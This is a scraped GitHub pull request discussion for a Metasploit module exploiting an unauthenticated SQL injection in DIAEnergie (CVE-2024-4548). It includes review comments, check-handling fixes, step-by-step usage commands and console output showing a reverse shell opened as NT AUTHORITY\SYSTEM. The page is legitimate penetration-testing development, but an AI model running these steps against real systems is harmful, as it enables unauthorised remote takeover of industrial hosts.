-
Notifications
You must be signed in to change notification settings - Fork 14.1k
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
DIAEnergie SQL Injection (CVE-2024-4548) #19351
Conversation
Can you explain how did you obtained code execution? SQLi can usually dump user tables and password hashes but executing arbitrary code is not always possible... There are misconfigured permissions to allow code execution? |
|
Exploit Module for Calibre Python Code Injection (CVE-2024-6782)
rm calibre
…loit-framework into my_awesome_branch
Specified a default payload Randomized date and time Wrapped cleanup in an ensure block
I'm having some issues testing this target.
Am I missing something? maybe some configuration? |
There shouldn't be any specific configuration required. For both test environments I used a default installation without any additional steps or similar. I do remember that it took a few minutes after system boot for the service to fully start and listen for incoming traffic. I was testing it with VMware Workstation, with a bridged and NAT configuration for the network interface. If you change the settings, you'd need to restart the service/ reboot the system so that it binds correctly to the network interfaces and IPs assigned. Does the application itself generally work, i.e., can you connect with your browser to the web interface of the application and do a login with the default credentials ( Which version of DIAEnergie are you testing, and on which OS? I can try to do a clean install again and rerun the module, but probably not before the weekend. The error message you are getting ( |
|
After reinstalling everything again I managed to get this working. probably something broke during the installation.
|
That's great! I had reinstalled it and the module was working for me fine, but I did it on Windows 10, so I wasn't sure if it is perhaps something specific to Server 2019. Glad it is working now. |
if version[0].nil? | ||
Exploit::CheckCode::Detected | ||
end |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
When I target a service that is definitely not DIAEnergie such as SSH, this crashes.
msf6 exploit(windows/scada/diaenergie_sqli) > check
[-] 192.168.250.1:22 - Exploit failed: NoMethodError undefined method `[]' for nil:NilClass
[-] 192.168.250.1:22 - Check failed: The state could not be determined.
msf6 exploit(windows/scada/diaenergie_sqli) >
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Thank you for pointing that out. I've tested a couple different scenarios to better handle unexpected replies.
Port closed:
msf6 exploit(windows/scada/diaenergie_sqli) > check
[-] 192.168.15.16:12345 - The connection was refused by the remote host (192.168.15.16:12345).
[*] 192.168.15.16:12345 - Cannot reliably check exploitability.
Port open but random service that replies with a reset:
msf6 exploit(windows/scada/diaenergie_sqli) > check
[-] 192.168.15.16:631 - Exploit failed [disconnected]: Errno::ECONNRESET Connection reset by peer
[-] 192.168.15.16:631 - Check failed: The state could not be determined.
Port open but random service that returns an empty response (the case that you triggered):
msf6 exploit(windows/scada/diaenergie_sqli) > check
[*] 192.168.15.16:5433 - Received an empty response
[*] 192.168.15.16:5433 - Cannot reliably check exploitability.
I also removed some of the nesting that I had as you suggested in one of my other PRs.
Error handling and code cleanup
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Retested after the changes. Looks good to me.
msf6 exploit(windows/scada/diaenergie_sqli) > exploit
[*] Started reverse TCP handler on 192.168.136.128:4444
[*] 192.168.136.130:928 - Running automatic check ("set AutoCheck false" to disable)
[+] 192.168.136.130:928 - The target appears to be vulnerable.
[*] 192.168.136.130:928 - Sending SQL injection...
[*] 192.168.136.130:928 - Triggering script execution...
[+] 192.168.136.130:928 - Script successfully injected, check thy shell.
[*] 192.168.136.130:928 - Cleaning up database...
[*] Sending stage (290886 bytes) to 192.168.136.130
[*] Meterpreter session 1 opened (192.168.136.128:4444 -> 192.168.136.130:49972) at 2024-08-20 05:29:26 -0400
meterpreter > sysinfo
Computer : WIN-JR5HP085VV3
OS : Windows Server 2019 (10.0 Build 17763).
Architecture : x64
System Language : en_US
Domain : WORKGROUP
Logged On Users : 1
Meterpreter : x64/windows
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter >
Release NotesThis adds an exploit module for CVE-2024-4548, an unauthenticated SQL Injection vulnerability able to achieve remote code execution as |
This is a new module which exploits an unauthenticated SQL injection vulnerability in DIAEnergie <= v1.10 (CVE-2024-4548).
Successful exploitation allows to gain code execution in the context of
NT AUTHORITY\SYSTEM
.Verification Steps
msfconsole
and enter the following commandsuse exploit/windows/scada/diaenergie_sqli
set RHOSTS <IP>
(e.g.,set RHOSTS 192.168.1.245
)exploit
This should result in a meterpreter session:
Successfully tested on
Tested in the following deployments, with both the
curl
andcertutil
fetch commands.